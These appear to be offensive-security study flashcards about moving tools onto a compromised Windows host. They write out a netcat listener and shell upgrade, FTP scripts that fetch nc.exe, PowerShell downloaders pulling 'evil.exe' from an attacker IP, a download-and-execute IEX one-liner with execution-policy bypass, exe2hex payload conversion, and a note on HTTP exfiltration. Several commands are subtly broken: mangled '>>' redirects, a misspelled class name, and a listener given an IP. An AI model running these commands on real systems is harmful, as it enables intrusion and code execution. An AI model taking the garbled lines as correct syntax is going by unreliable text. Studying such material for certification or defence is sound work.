File Transfers Flashcards
How to install FTP server on Kali?
- sudo apt install pure-ftpd
- chmod +x setup-ftp.sh
- sudo ./setup-ftp.sh
Non-interactive Shell
- Programs that require user input such as file transfer programs
- Lack useful features like tab completion and job control
- EX. Netcat
How can you upgrade a Non-interactive Shell?
- Connect to a Netcat shell
- nc -nvlp 10.11.0.128 4444
- Create a pseudo-terminal with Python module ‘pty’
- python -c ‘import pty; pty.spawn(“/bin/bash”)’
Windows Non-Interactive FTP Download?
- Windows systems ship with a default FTP client that can be used for file transfers
Where is the Windows binary nc.exe located on Kali?
/usr/share/windows-resources/binaries/nc.exe
How do you build a text file of FTP commands that will connect a Windows machine to a Linux FTP server?
c: > – echo open 10.11.0.4 21 > ftp.txt
c: > – echo USER offsec»_space; ftp.txt
c: > – echo lab»_space; ftp.txt
c: > – echo bin»_space; ftp.txt
c: > – echo GET nc.exe»_space; ftp.txt
c: > – echo bye»_space; ftp.txt
Given a text file of FTP commands named ‘ftp.txt’, what command will connect a Windows machine to a Linux FTP server?
C:> ftp -v -n -s:ftp.txt
- -v = suppress any returned output
- -n = suppress automatic login
- -s = indicate the name of command file
How to transfer Netcat to a Windows machine from a Linux machine?
- copy nc.exe to /ftphome/
kali: ~$ – sudo cp /usr/share/windows-resources/binaries/nc.exe /ftphome/ - start the pure-ftpd server
kali: ~$ – sudo systemctl start pure-ftpd - Build a text file of FTP commands we wish to execute
- —————————
c: > – echo open 10.11.0.4 21 > ftp.txt
c: > – echo USER offsec»_space; ftp.txt
c: > – echo lab»_space; ftp.txt
c: > – echo bin»_space; ftp.txt
c: > – echo GET nc.exe»_space; ftp.txt
c: > – echo bye»_space; ftp.txt
- —————————- - initiate the FTP session
- - c:> ftp -v -n -s:ftp.txt
What scripting languages can be used in each version of Windows for Downloads?
- Windows XP = VBScript
- Windows 2003 = VBScript
- Windos 7 and above = PowerShell
How do you write a PowerShell downloader script?
C:> echo $webclient = New-Object System.Net.WebClient»_space; wget.ps1
C:> echo $url = “http://10.11.0.4/evil.exe”»_space; wget.ps1
C:> echo $file = “new-exploit.exe”»_space; wget.ps1
C:> echo $webclient.DownloadFile($url,$file)»_space; wget.ps1
How do we run the PowerShell downloader script file wget.ps1?
C:> powershell -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
How do you download and save a file evil.exe from a Linux machine with IP Address 10.11.0.4 using PowerShell?
C:> powershell (New-Object System.Net.WebClient).DownloadFile (‘http://10.11.0.4/evil.exe’, ‘new-exploit.exe’)
How do you download (WITHOUT saving) and execute the evil.exe from a Linux machine with IP Address 10.11.0.4 using PowerShell?
C:> powershell IEX (New-Object Sytem.Net.WebClient) DownloadString(‘http://10.11.0.4/evil.exe’)
Get nc.exe onto a Windows machine with exe2hex?
- Find nc.exe for Windows
- - kali:~$ locate nc.exe | grep binaries - Copy nc.exe to PWD
- - kali:~$ cp /usr/share/windows-resources/binaries/nc.exe . - Compress nc.exe
- - kali:~$ upx -9 nc.exe - Convert nc.exe to a Windows Script
- - kali:~$ exe2hex -x nc.exe -p nc.cmd - Transfer nc.cmd to Windows machine
- Run nc.cmd
If HTTP traffic is allowed on a Windows machine, what can be used to exfiltrate data?
System.Net.WebClient PowerShell class